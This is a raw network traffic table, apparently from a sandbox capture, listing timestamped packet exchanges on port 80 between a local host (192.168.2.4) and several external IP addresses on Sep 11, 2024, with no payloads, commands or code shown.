Sep 11, 2024 16:22:17.264870882 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.264879942 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.264923096 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.264923096 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.264940977 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.264954090 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.264964104 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.265021086 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.265021086 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.265032053 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.265041113 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.265053034 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.265064955 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.265075922 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.265078068 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.265089035 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.265115976 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.265137911 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.265199900 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.265211105 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.265222073 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.265259981 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.265270948 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.265270948 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.265274048 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.265285969 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.265297890 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.265300035 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.265310049 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.265327930 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.265357018 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.266134024 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.266144991 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.266156912 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.266186953 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.266216040 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.266227007 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.266237974 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.266247034 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.266249895 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.266262054 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.266278982 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.266278982 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.266305923 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.266323090 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.266345024 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.266355991 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.266366959 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.266398907 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.266398907 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.266432047 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.266443968 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.266453981 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.266472101 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.266495943 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.266500950 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.266511917 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.266522884 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.266545057 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.266546965 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.266560078 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.266571045 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.266582012 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.266588926 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.266604900 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.266644001 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.266707897 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.266719103 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.266731024 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.266760111 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.266787052 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.266798019 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.266805887 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.266808987 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.266824961 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.266827106 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.266836882 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.266869068 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.266890049 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.266937971 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.266937971 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.274085999 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.274141073 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.274149895 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.274157047 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.274183035 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.274199963 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.274234056 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.274244070 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.274255991 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.274266005 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.274269104 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.274277925 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.274303913 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.274307966 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.274319887 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.274331093 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.274339914 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.274343967 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.274380922 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.274454117 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.274466038 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.274483919 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.274496078 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.274502993 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.274508953 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.274525881 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.274528980 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.274538040 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.274549007 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.274571896 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.274604082 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.274609089 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.274616003 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.274629116 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.274641037 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.274682045 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.274781942 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.274791956 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.274802923 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.274812937 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.274821997 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.274827957 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.274841070 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.274854898 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.274857998 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.274899006 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.274923086 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.274935007 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.274946928 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.274960995 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.274965048 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.274976969 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.274988890 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.274995089 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.275000095 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.275011063 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.275027037 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.275031090 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.275038958 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.275048971 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.275057077 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.275082111 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.275232077 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.275243998 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.275254965 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.275300026 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.275315046 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.275363922 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.275373936 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.275388956 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.275401115 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.275413036 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.275413036 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.275424004 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.275449991 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.275450945 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.275463104 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.275474072 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.275475025 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.275485992 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.275510073 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.275541067 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.275593996 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.275604963 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.275615931 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.275641918 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.275672913 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.275676966 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.275687933 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.275698900 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.275711060 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.275713921 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.275724888 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.275742054 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.275779009 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.275805950 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.275815964 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.275826931 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.275844097 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.275876045 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.275883913 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.275887966 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.275899887 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.275913954 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.275922060 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.275950909 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.276045084 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.276056051 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.276067019 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.276077986 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.276088953 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.276093006 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.276102066 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.276113987 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.276118040 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.276125908 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.276139975 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.276144981 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.276156902 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.276163101 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.276170015 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.276182890 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.276182890 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.276195049 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.276206970 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.276217937 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.276227951 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.276267052 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.277535915 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.277545929 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.277554989 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.277566910 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.277578115 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.277590036 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.277595043 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.277606010 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.277621031 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.277622938 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.277636051 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.277647018 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.277652025 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.277657032 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.277676105 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.277702093 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.279773951 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.279787064 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.279797077 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.279808044 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.279819012 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.279830933 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.279835939 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.279843092 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.279855013 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.279865980 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.279869080 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.279876947 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.279887915 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.279906988 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.279922009 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.303467989 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.303483009 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.303493977 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.303566933 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.303581953 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.303594112 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.303605080 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.303667068 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.303667068 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.304173946 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.304243088 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.311295033 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.311310053 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.311321020 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.311331987 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.311345100 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.311356068 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.311358929 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.311398983 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.311448097 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.311460018 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.311470032 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.311480999 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.311491966 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.311503887 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.311506987 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.311533928 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.311575890 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.311588049 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.311595917 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.311598063 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.311626911 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.311645031 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.313677073 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.313690901 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.313702106 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.313714027 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.313725948 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.313735962 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.313770056 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.313802004 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.313816071 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.313838005 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.313873053 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.313977003 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.313987970 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.314027071 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.314160109 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.314172029 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.314183950 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.314203978 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.314244986 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.314326048 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.314337015 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.314373016 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.315901995 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.315915108 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.315926075 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.315964937 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.315993071 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.316045046 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.316056967 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.316101074 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.316222906 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.316235065 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.316245079 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.316256046 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.316267014 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.316277981 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.316282034 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.316302061 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.316330910 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.316354036 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.316365957 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.316397905 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.316421986 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.316543102 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.316553116 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.316565037 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.316600084 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.316633940 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.316700935 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.316720009 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.316730976 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.316755056 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.316792011 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.316890001 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.316901922 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.316911936 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.316922903 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.316941977 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.316983938 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.317059040 CEST	80	49736	176.113.115.33	192.168.2.4
